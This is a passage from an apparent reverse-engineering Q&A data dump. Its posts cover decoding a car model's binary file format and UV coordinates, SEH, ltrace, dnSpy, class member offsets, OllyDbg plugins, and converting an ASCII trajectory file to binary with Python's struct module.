00 00 00 4F 00 00 00 00 00 00 00&#xA;FF FF 00 00 03 00 73 5E 73 1F 1F 2B 0F 00 00 00 51 00 00 00 0E 00 00 00 00 00 00 00&#xA;FF FF 00 00 03 00 5E 5F 73 1F 2B 2B 51 00 00 00 35 00 00 00 0E 00 00 00 00 00 00 00&#xA;FF FF 00 00 03 00 5E 5D 3F AD BD AD 52 00 00 00 53 00 00 00 08 00 00 00 00 00 00 00&#xA;FF FF 00 00 03 00 5D 3F 3F BD BD AD 53 00 00 00 09 00 00 00 08 00 00 00 00 00 00 00&#xA;FF FF 00 00 00 00 A7 AA AA 1D 1D 16 11 00 00 00 3D 00 00 00 3C 00 00 00 00 00 00 00&#xA;FF FF 00 00 00 00 B5 B5 B4 08 00 00 41 00 00 00 42 00 00 00 54 00 00 00 00 00 00 00&#xA;FF FF 00 00 03 00 43 48 5D 0C 1B 0C 54 00 00 00 42 00 00 00 48 00 00 00 00 00 00 00&#xA;FF FF 00 00 03 00 48 5D 5D 1B 1B 0C 42 00 00 00 40 00 00 00 48 00 00 00 00 00 00 00&#xA;FF FF 00 00 03 00 7C 5D 7C BD BD AD 4B 00 00 00 53 00 00 00 55 00 00 00 00 00 00 00&#xA;FF FF 00 00 03 00 5D 5E 7C BD AD AD 53 00 00 00 52 00 00 00 55 00 00 00 00 00 00 00&#xA;FF FF 00 00 03 00 19 18 2D 7F 82 7F 56 00 00 00 26 00 00 00 57 00 00 00 00 00 00 00&#xA;FF FF 00 00 03 00 18 2D 2D 82 82 7F 26 00 00 00 24 00 00 00 57 00 00 00 00 00 00 00&#xA;FF FF 00 00 03 00 10 12 19 7F 82 7F 30 00 00 00 2A 00 00 00 56 00 00 00 00 00 00 00&#xA;FF FF 00 00 03 00 12 18 19 82 82 7F 2A 00 00 00 26 00 00 00 56 00 00 00 00 00 00 00&#xA;FF FF 00 00 00 00 87 87 87 16 1C 1C 58 00 00 00 32 00 00 00 31 00 00 00 00 00 00 00&#xA;FF FF 00 00 03 00 06 07 1E 32 0B 3B 59 00 00 00 5A 00 00 00 5B 00 00 00 00 00 00 00&#xA;FF FF 00 00 03 00 07 1E 1E 0B 04 3B 5A 00 00 00 1C 00 00 00 5B 00 00 00 00 00 00 00&#xA;FF FF 00 00 03 00 1C 1C 2D AC BB AC 5C 00 00 00 28 00 00 00 5D 00 00 00 00 00 00 00&#xA;FF FF 00 00 03 00 1C 2D 2D BB BC AC 28 00 00 00 22 00 00 00 5D 00 00 00 00 00 00 00&#xA;FF FF 00 00 03 00 09 12 1C AC BB AC 0C 00 00 00 2E 00 00 00 5C 00 00 00 00 00 00 00&#xA;FF FF 00 00 03 00 12 1C 1C BB BB AC 2E 00 00 00 28 00 00 00 5C 00 00 00 00 00 00 00&#xA;FF FF 00 00 03 00 1C 1C 09 9E 90 9E 5E 00 00 00 25 00 00 00 0D 00 00 00 00 00 00 00&#xA;FF FF 00 00 03 00 1C 09 09 90 90 9E 25 00 00 00 29 00 00 00 0D 00 00 00 00 00 00 00&#xA;FF FF 00 00 03 00 2D 2D 1C 9E 90 9E 5F 00 00 00 23 00 00 00 5E 00 00 00 00 00 00 00&#xA;FF FF 00 00 03 00 2D 1C 1C 90 90 9E 23 00 00 00 25 00 00 00 5E 00 00 00 00 00 00 00&#xA;FF FF 00 00 03 00 3D 2D 2D 90 90 9E 59 00 00 00 23 00 00 00 5F 00 00 00 00 00 00 00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can post the full file structure if this is required. Thanks in advance!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Vertex3D&#xA;{&#xA;    float x, y, z&#xA;}&#xA;Vector3D&#xA;{&#xA;    float x, y, z&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Vertex&#xA;{&#xA;    Vertex3D    vertex&#xA;    Vector3D    normal  // Sum = 1.0&#xA;    ulong       unknown&#xA;    ubyte[12]   padding = 0&#xA;}&#xA;Triangle&#xA;{&#xA;    ulong       beg = 0xffff0000&#xA;    ushort      texture     // 0 = car bottom, 3 = body&#xA;    ubyte[6]    unknown     // UV mapping???&#xA;    ulong[3]    vertices    // Indices&#xA;    ulong       end = 0x00000000&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Model3D&#xA;{&#xA;    char[8]     identifier = &quot;PCMODL01&quot;&#xA;    ulong       unknown = 0x00000000&#xA;    ulong       offset1 = 44    // Vertices start offset&#xA;    ulong       offset2         // Polygons start offset&#xA;&#xA;    ubyte[16]   stuff&#xA;&#xA;    ulong                   n_polygons&#xA;    ulong                   n_vertices&#xA;    Vertex[n_vertices]      vertices&#xA;    Triangle[n_polygons]    polygons&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Main&#xA;{&#xA;    // Header&#xA;    ulong   n_blocks = 7&#xA;&#xA;    ulong   offset1 = 60&#xA;    ulong   length1     // Model&#xA;&#xA;    ulong   offset2&#xA;    ulong   length2     // Dash lo res (320x80) RGB565&#xA;&#xA;    ulong   offset3&#xA;    ulong   length3     // Dash hi res (640x160) RGB565&#xA;&#xA;    ulong   offset4&#xA;    ulong   length4     // Steering wheel (256x256) RGB565&#xA;&#xA;    ulong   offset5&#xA;    ulong   length5     // Car textures (128x256) RGB565&#xA;&#xA;    ulong   offset6&#xA;    ulong   length6     // Tuning&#xA;&#xA;    ulong   offset7&#xA;    ulong   length7     // Menu picture (400x400) Indexed color&#xA;&#xA;    // offset1 onwards&#xA;    Model3D         model&#xA;&#xA;    // offset2 onwards&#xA;    blob[25600]     dash_lo&#xA;&#xA;    // offset3 onwards&#xA;    blob[102400]    dash_hi&#xA;&#xA;    // offset4 onwards&#xA;    blob[65536]     steer_whl&#xA;&#xA;    // offset5 onwards&#xA;    blob[32768]     textures&#xA;&#xA;    // offset6 onwards&#xA;    blob[300]       tuning&#xA;&#xA;    // offset7 onwards&#xA;    ubyte[12]       unknown1&#xA;    ubyte           menu_position&#xA;    char[3]         basename        // CAM, JAG, VET, etc.&#xA;    ulong           padding = 0x00000000&#xA;    ulong           unknown2&#xA;    blob[160000][5] menu_screens    // 5 images, one per language&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14306" LastEditorUserId="14306" LastEditDate="2015-12-04T01:33:01.387" LastActivityDate="2015-12-09T18:37:21.223" Title="How to read these UV coordinates?" Tags="|binary-analysis|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="11452" PostTypeId="2" ParentId="11237" CreationDate="2015-12-03T14:15:13.383" Score="2" Body="&lt;p&gt;I think this is a great moment to introduce you to &lt;a href=&quot;https://www.microsoft.com/msj/0197/exception/exception.aspx&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; great article written back in 1997, but which still holds up. I really recommend that you read it because it will explain to you everything about SEH. To answer your question about continuing execution, I will quote one paragraph from the article:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;When the operating system sees that &lt;strong&gt;ExceptionContinueExecution&lt;/strong&gt; was&#xA;  returned, it interprets this to mean that you've fixed the problem and&#xA;  &lt;strong&gt;the faulting instruction should be restarted&lt;/strong&gt;. Since my _except_handler&#xA;  function tweaked the EAX register to point to valid memory, the MOV&#xA;  EAX,1 instruction works the second time and function main continues&#xA;  normally. See, that wasn't so complicated, was it?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="12897" LastActivityDate="2015-12-03T14:15:13.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11453" PostTypeId="1" CreationDate="2015-12-03T15:06:01.227" Score="1" ViewCount="507" Body="&lt;p&gt;I am trying to implement some antidebug methods. Although I have encrypted texts, &lt;code&gt;ltrace&lt;/code&gt; reveals them, for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;strstr(&quot;Name:\tltrace\n&quot;, &quot;ltrace&quot;) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A solution would be static linking, but I do not want to statically link everything. Is there a way to select which functions to link statically, or to prevent &lt;code&gt;ltrace&lt;/code&gt; from revealing these information?&lt;/p&gt;&#xA;" OwnerUserId="13970" LastActivityDate="2023-09-23T15:03:50.460" Title="Hiding shared library calls from ltrace" Tags="|c|dynamic-linking|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11454" PostTypeId="2" ParentId="11453" CreationDate="2015-12-03T15:30:47.870" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Is there a way to select which functions to link statically&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That's a question for &lt;a href=&quot;https://stackoverflow.com/&quot;&gt;https://stackoverflow.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;or to prevent &lt;code&gt;ltrace&lt;/code&gt; from revealing these information&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You could have your program try to find and terminate running &lt;code&gt;ltrace&lt;/code&gt; processes. But this has limited use if your process doesn't have sufficient privileges or if the user renames &lt;code&gt;ltrace&lt;/code&gt; or if the user patches out (disables) your &lt;code&gt;ltrace&lt;/code&gt;-termination code.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2015-12-03T15:30:47.870" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11455" PostTypeId="2" ParentId="77" CreationDate="2015-12-03T23:36:34.900" Score="14" Body="&lt;p&gt;Recently I've been using &lt;strong&gt;dnSpy&lt;/strong&gt; [forked from ILSpy by the creator(s) of de4dot] as my main tool for the decompiling and live debugging of .NET code&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/0xd4d/dnSpy&quot;&gt;https://github.com/0xd4d/dnSpy&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Main difference from ILSpy :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Uses dnLib to read assemblies (vs ILSpy's Mono.Cecil)  &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/0xd4d/dnlib&quot;&gt;https://github.com/0xd4d/dnlib&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;dnlib was created because de4dot needed a robust .NET assembly library &#xA;  that could handle all types of obfuscated assemblies. de4dot used to use Mono.Cecil but since Mono.Cecil can't handle obfuscated assemblies, &#xA;  doesn't fully support mixed mode assemblies, doesn't read .NET assemblies &#xA;  the same way the CLR does and many other missing features de4dot needed, dnlib was a necessity. The API is similar because it made porting de4dot to dnlib a lot easier.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="14249" LastEditorUserId="14249" LastEditDate="2015-12-04T00:31:44.437" LastActivityDate="2015-12-04T00:31:44.437" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="11457" PostTypeId="1" AcceptedAnswerId="11458" CreationDate="2015-12-04T17:06:30.343" Score="0" ViewCount="1278" Body="&lt;p&gt;I have a simple C++ program compiled with  Visual Studio 2005. I know that this program has a class &lt;code&gt;base&lt;/code&gt; with a member variable &lt;code&gt;x&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I identify the variable x when looking at the x86? Here is &lt;a href=&quot;http://pastebin.com/GRuJWSm6&quot; rel=&quot;nofollow&quot;&gt;a function of this binary&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="14279" LastEditorUserId="53" LastEditDate="2015-12-16T17:12:37.213" LastActivityDate="2015-12-16T17:12:37.213" Title="How can i get offset of class member manualy(without source of )" Tags="|assembly|c++|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11458" PostTypeId="2" ParentId="11457" CreationDate="2015-12-04T22:30:42.387" Score="2" Body="&lt;p&gt;For Visual Studio, &lt;strong&gt;ecx&lt;/strong&gt; usually points to the current &lt;em&gt;this&lt;/em&gt; object. As you can see, it's placed in &lt;strong&gt;esi&lt;/strong&gt; at the start of your program.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;.text:1090B641                 mov     esi, ecx&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;esi&lt;/strong&gt; is not modified elsewhere, and is always used to access variables with offsets. That should indicate to you that it's the address of a struct, and each offset points to a given variable.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;.text:1090B651                 mov     dword ptr &lt;strong&gt;[esi]&lt;/strong&gt;, offset off_10959BE4&lt;/p&gt;&#xA;&lt;p&gt;.text:1090B660                 mov     &lt;strong&gt;[esi+1Ch]&lt;/strong&gt;, eax&lt;/p&gt;&#xA;&lt;p&gt;.text:1090B663                 mov     &lt;strong&gt;[esi+10h]&lt;/strong&gt;, eax&lt;/p&gt;&#xA;&lt;p&gt;.text:1090B666                 mov     &lt;strong&gt;[esi+3Ch]&lt;/strong&gt;, ebx&lt;/p&gt;&#xA;&lt;p&gt;.text:1090B669                 mov     &lt;strong&gt;[esi+38h]&lt;/strong&gt;, ebx&lt;/p&gt;&#xA;&lt;p&gt;.text:1090B66C                 mov     &lt;strong&gt;[esi+40h]&lt;/strong&gt;, ebx&lt;/p&gt;&#xA;&lt;p&gt;.text:1090B66F                 mov     byte ptr &lt;strong&gt;[esi+44h]&lt;/strong&gt;, 0ACh&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;You'll have to find the purpose of each of those variables by looking at their size and how they are used in your program. In order to help you with that, you can define a new struct in Ida by going in the &lt;strong&gt;Structs&lt;/strong&gt; tab (Shift+F9), and defining a new struct with variables corresponding to those offsets. You can then map them with &lt;strong&gt;T&lt;/strong&gt; to help you following them.&lt;/p&gt;&#xA;&lt;p&gt;See for instance &lt;a href=&quot;http://resources.infosecinstitute.com/reverse-engineering-structures/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this blog post&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="8679" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2015-12-04T22:30:42.387" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11459" PostTypeId="1" CreationDate="2015-12-05T07:23:09.540" Score="1" ViewCount="661" Body="&lt;p&gt;I am already aware of the question: '&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/5860/reverse-engineering-program-written-in-python-compiled-with-freeze&quot;&gt;Reverse Engineering program written in Python, compiled with “freeze”&lt;/a&gt;'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have Immunity Debugger and is this the &lt;code&gt;pyc&lt;/code&gt; code and the structures?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/a0Xyq.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/a0Xyq.png&quot; alt=&quot;Immunity Debugger on pyc file&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I run the PyCommand mentioned in the original question, it doesn't dump the &lt;code&gt;pyc&lt;/code&gt; code and do not make &lt;code&gt;PYC&lt;/code&gt; files. And, I have the PythonMagic Code Correct (Python 2.4). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help?&lt;/p&gt;&#xA;" OwnerUserId="13560" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2015-12-05T19:43:12.147" Title="Reverse Engineering program written in Python, compiled with “freeze 2 [REWRITE]" Tags="|decompilation|python|" AnswerCount="0" CommentCount="0" ClosedDate="2015-12-16T09:32:19.490" ContentLicense="CC BY-SA 3.0" />
  <row Id="11462" PostTypeId="1" CreationDate="2015-12-05T20:08:52.157" Score="1" ViewCount="3418" Body="&lt;p&gt;I am using OllyDbg &lt;strong&gt;2.1.0.4&lt;/strong&gt; and I cant get any plugins to work. I have tried ODbgScript.1.82, OllyDump v2.1.0.2 and Advanced Labels v1.3.0.9. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I tried the first two I got Plugins tab greyed out. Advanced Labels makes OllyDbg crash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have set the plugin path to ..\OllyDbg 2.01\Plugins in the .ini file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is there that I am missing?&lt;/p&gt;&#xA;" OwnerUserId="14250" LastActivityDate="2016-02-03T23:04:14.673" Title="OllyDbg plugins not working" Tags="|ollydbg|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11463" PostTypeId="2" ParentId="11462" CreationDate="2015-12-05T21:33:07.807" Score="1" Body="&lt;p&gt;I believe all of those plugins are for &lt;a href=&quot;http://www.ollydbg.de/odbg110.zip&quot; rel=&quot;nofollow&quot;&gt;OllyDbg v1&lt;/a&gt; only, not v2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you absolutely need to use them, you can downgrade to &lt;a href=&quot;http://www.ollydbg.de/odbg110.zip&quot; rel=&quot;nofollow&quot;&gt;OllyDbg v1&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the plugin source code is available (or if you want to reverse engineer the plugin binaries and rewrite their code from scratch), you could try to rebuild them using &lt;a href=&quot;http://www.ollydbg.de/Help/Main.htm&quot; rel=&quot;nofollow&quot;&gt;the v2 plugin SDK&lt;/a&gt; (sample plugins &lt;a href=&quot;http://www.ollydbg.de/plug201h.zip&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;).&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-12-05T21:33:07.807" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11466" PostTypeId="1" CreationDate="2015-12-06T11:27:33.473" Score="4" ViewCount="3489" Body="&lt;p&gt;a simple portable executable file looks like :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Jj8Bn.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Jj8Bn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm wondering how a disassembler works to parse the .text...to produce assembly code ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because the PE file in his raw format seems to be unusable and does not contain machine instructions in readable format. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was thinking about either a tier program is used, or the program is loaded into memory and a dump is performed by the disassembler.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks !&lt;/p&gt;&#xA;" OwnerUserId="14339" LastActivityDate="2017-12-26T11:26:21.190" Title="How does disassembler really work?" Tags="|assembly|executable|disassemblers|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11467" PostTypeId="2" ParentId="11451" CreationDate="2015-12-06T23:06:37.150" Score="0" Body="&lt;p&gt;Problem is solved!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found that the &lt;code&gt;unknown&lt;/code&gt; values are actually coordinates in &lt;em&gt;pixels&lt;/em&gt; on the texture map (positive integers). The car textures are 128 x 256 in size, so by dividing each U or V coordinate by the maximum value in that direction, we have the right float conversion:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;vertex1.u = unknown[0] / 127.f;&#xA;vertex2.u = unknown[1] / 127.f;&#xA;vertex3.u = unknown[2] / 127.f;&#xA;&#xA;vertex1.v = -unknown[3] / 255.f;&#xA;vertex2.v = -unknown[4] / 255.f;&#xA;vertex3.v = -unknown[5] / 255.f;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Besides, there were bugs in my converter that prevented this from working...&lt;/p&gt;&#xA;" OwnerUserId="14306" LastEditorUserId="14306" LastEditDate="2015-12-09T18:37:21.223" LastActivityDate="2015-12-09T18:37:21.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11469" PostTypeId="1" AcceptedAnswerId="11471" CreationDate="2015-12-07T13:31:30.677" Score="-1" ViewCount="185" Body="&lt;p&gt;I am new in this area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Scenerio:&lt;/strong&gt;&#xA;I am given two files and told one is ASCII and another is binary format of that ASCII file. I opened ASCII file and saw like-&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0&#xA;76&#xA;1.040000&#xA;1&#xA;1&#xA;1.000000&#xA;514039&#xA;5058933&#xA;514808&#xA;5059861&#xA;2 ********* TIMESTEP&#xA;0.750000&#xA;3&#xA;1&#xA;328882&#xA;1&#xA;514712.000000&#xA;5059091.500000&#xA;514714.062500&#xA;5059088.500000&#xA;3.826391&#xA;2.000000&#xA;13.882331&#xA;0.000000&#xA;2 ********* TIMESTEP&#xA;1.500000&#xA;..........................................&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And open corresponding binary file (hex)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00 4C B8 1E 85 3F 01 01 00 00 80 3F F7 D7 07 00 75 31 4D 00 F8 DA 07 00 15 35 4D 00 02 00 00 40 3F 03 01 00 00 00 B2 04 05 00 01 00 53 FB 48 27 64 9A 4A 42 53 FB 48 21 64 9A 4A 98 E3 74 40 00 00 00 40 07 1E 5E 41 00 00 00 00 02 00 00 C0 3F 03 01 00 00 00 B2 04 05 00 01 4C 52 FB 48 39 64 9A 4A 8E 52 FB 48 33 64 9A 4A 98 E3 74 40 00 00 00 40 07 1E 5E 41 00 00 00 00 03 02 00 00 00 D2 05 05 00 01 2D 2D FB 48 06 63 9A 4A E2 2C FB 48 FF 62 9A 4A 73 6F 82 40 00 00 00 40 7D 1A 6D 41 00 00 00 00 03 04 00 00 00 BE 04 05 00 01 57 00 FB 48 49 67 9A 4A DE FF FA 48 4D 67 9A 4A 21 D2 86 40 00 00 00 40 0F A4 8C 41 00 00 00 00 02 00 00 10 40 03 01 00 00 00 52 1D 05 00 01 9A 51 FB 48 4A 64 9A 4A DC 51 FB 48 44 64 9A 4A 98 E3 74 40 00 00 00 40 0B 84 5B 41 AB FE 5D BE 03 02 00 00 00 D2 05 05 00 01 FB 2D FB 48 18 63 9A 4A AF 2D FB 48 11 63 9A 4A 73 6F 82 40 00 00 00 40 7D 1A 6D 41 00 00 00 00 03 04 00 00 00 BE 04 05 00 01 D1 01 FB 48 3D 67 9A 4A 58 01 FB 48 41 67 9A 4A 21 D2 86 40 00 00 00 40 0F A4 8C 41 00 00 00 00 03 05 00 00 00 B2 04 05 00 01 06 53 FB 48 27 64 9A 4A 4B 53 FB 48 20 64 9A 4A D5 06 7E 40 00 00 00 40 07 1E 5E 41 00 00 00 00 02 00 00 40 40&#xA;.....................................................&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Problem-&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to find how this binary file is crated from that ascii?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know all of ASCII file what reading means what from a pdf file that tells all about ASCII file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;N.B. I truncated and posted from the larges file as i wish - i mean the trucated portion of ascii and that of binary posted here may not intersect/exact replica. I just copied portion and posted here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.dropbox.com/s/y3kz1b3hds3mkr7/Mariano_Gigante%20%28ASCII%29.trj?dl=0&quot; rel=&quot;nofollow&quot;&gt;ASCII file link&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.dropbox.com/s/cx98wkp4b019190/Mariano_Gigante%20%28Binary%29.trj?dl=0&quot; rel=&quot;nofollow&quot;&gt;Binary file link&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="8116" LastEditorUserId="2318" LastEditDate="2015-12-07T16:24:53.587" LastActivityDate="2015-12-08T11:29:21.650" Title="How to get transformation formula comparing two files" Tags="|encodings|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11471" PostTypeId="2" ParentId="11469" CreationDate="2015-12-07T14:29:58.930" Score="2" Body="&lt;p&gt;As far as I can see it is not encrypted, but just wrote down in binary form straight forward, at least some first fields are exact match.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00              in hexdump means the first zero&#xA;4c              in hexdump is 76&#xA;B8 1E 85 3F     is binary representation of float 1.039999999 which means 1.04&#xA;01              is 1&#xA;01              is next 1&#xA;00 00 80 3f     is binary representation of 1.0&#xA;F7 D7 07 00     is binary representation of integer 514039&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used python and python module struct to verify all this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for example, the following code will give you desired output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import binascii&#xA;import struct&#xA;&#xA;print struct.unpack(&quot;b&quot;, binascii.unhexlify(&quot;00&quot;))&#xA;print struct.unpack(&quot;b&quot;, binascii.unhexlify(&quot;4c&quot;))&#xA;print struct.unpack(&quot;f&quot;, binascii.unhexlify(&quot;b81e853f&quot;))&#xA;print struct.unpack(&quot;b&quot;, binascii.unhexlify(&quot;01&quot;))&#xA;print struct.unpack(&quot;b&quot;, binascii.unhexlify(&quot;01&quot;))&#xA;print struct.unpack(&quot;f&quot;, binascii.unhexlify(&quot;0000803f&quot;))&#xA;print struct.unpack(&quot;I&quot;, binascii.unhexlify(&quot;F7D70700&quot;))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The main problem here is determining the basic sizes of different data.&#xA;Here is rule of thumb you can use:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Integers may be one byte, 2, 4 or 8 bytes long&lt;/li&gt;&#xA;&lt;li&gt;floating point values here always were 4 byte long, but also may be 8&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;All the rest of the work should be obvious.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Transformation back to binary will look as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;s = &quot;&quot;&#xA;&#xA;s += struct.pack(&quot;b&quot;, 0)&#xA;s += struct.pack(&quot;b&quot;, 76)&#xA;s += struct.pack(&quot;f&quot;, 1.04)&#xA;s += struct.pack(&quot;b&quot;, 1)&#xA;s += struct.pack(&quot;b&quot;, 1)&#xA;s += struct.pack(&quot;f&quot;, 1.0)&#xA;s += struct.pack(&quot;I&quot;, 514039)&#xA;s += struct.pack(&quot;I&quot;, 5058933)&#xA;s += struct.pack(&quot;I&quot;, 514808)&#xA;s += struct.pack(&quot;I&quot;, 5059861)&#xA;&#xA;print binascii.hexlify(s)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is the code you can start to work from.&#xA;The code does not produce the file that exactly matches the binary because sometimes small integers are converted to 4 byte integers in the file,&#xA;but it is probably good point to start. You'll probably have to understand how to save the data from the usage context. Timestep string, by the way, looks ignored.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;fin = open(sys.argv[1], &quot;r&quot;)&#xA;fo  = open(sys.argv[2], &quot;wb&quot;)&#xA;&#xA;for l in fin:&#xA;    try:&#xA;        data = l.replace(&quot;\n&quot;, &quot;&quot;).replace(&quot;\r&quot;, &quot;&quot;).replace(&quot; ********* TIMESTEP&quot;, &quot;&quot;)&#xA;        if data.find(&quot;.&quot;) != -1:&#xA;            fmt = &quot;f&quot;&#xA;            numeric = float(data)&#xA;        elif int(data, 10)  &amp;lt;=127 and int(data, 10) &amp;gt;=-128: &#xA;            fmt = &quot;b&quot;&#xA;            numeric = int(data, 10)&#xA;        else:&#xA;            fmt = &quot;I&quot;&#xA;            numeric = int(data, 10)&#xA;        fo.write(struct.pack(fmt, numeric))&#xA;    except:&#xA;        continue&#xA;&#xA;fin.close()&#xA;fo.close()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using pdf with format description (easy one) the following script translates the text to the binary almost exactly (The files are not binary identical, but sizes of the data are OK and number of differences is relatively small):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import os&#xA;import sys&#xA;import struct&#xA;import binascii&#xA;&#xA;&#xA;fin = open(sys.argv[1], &quot;r&quot;)&#xA;fo  = open(sys.argv[2], &quot;wb&quot;)&#xA;&#xA;records = {&#xA;    &quot;0&quot;: &quot;bbf&quot;, # format&#xA;    &quot;1&quot;: 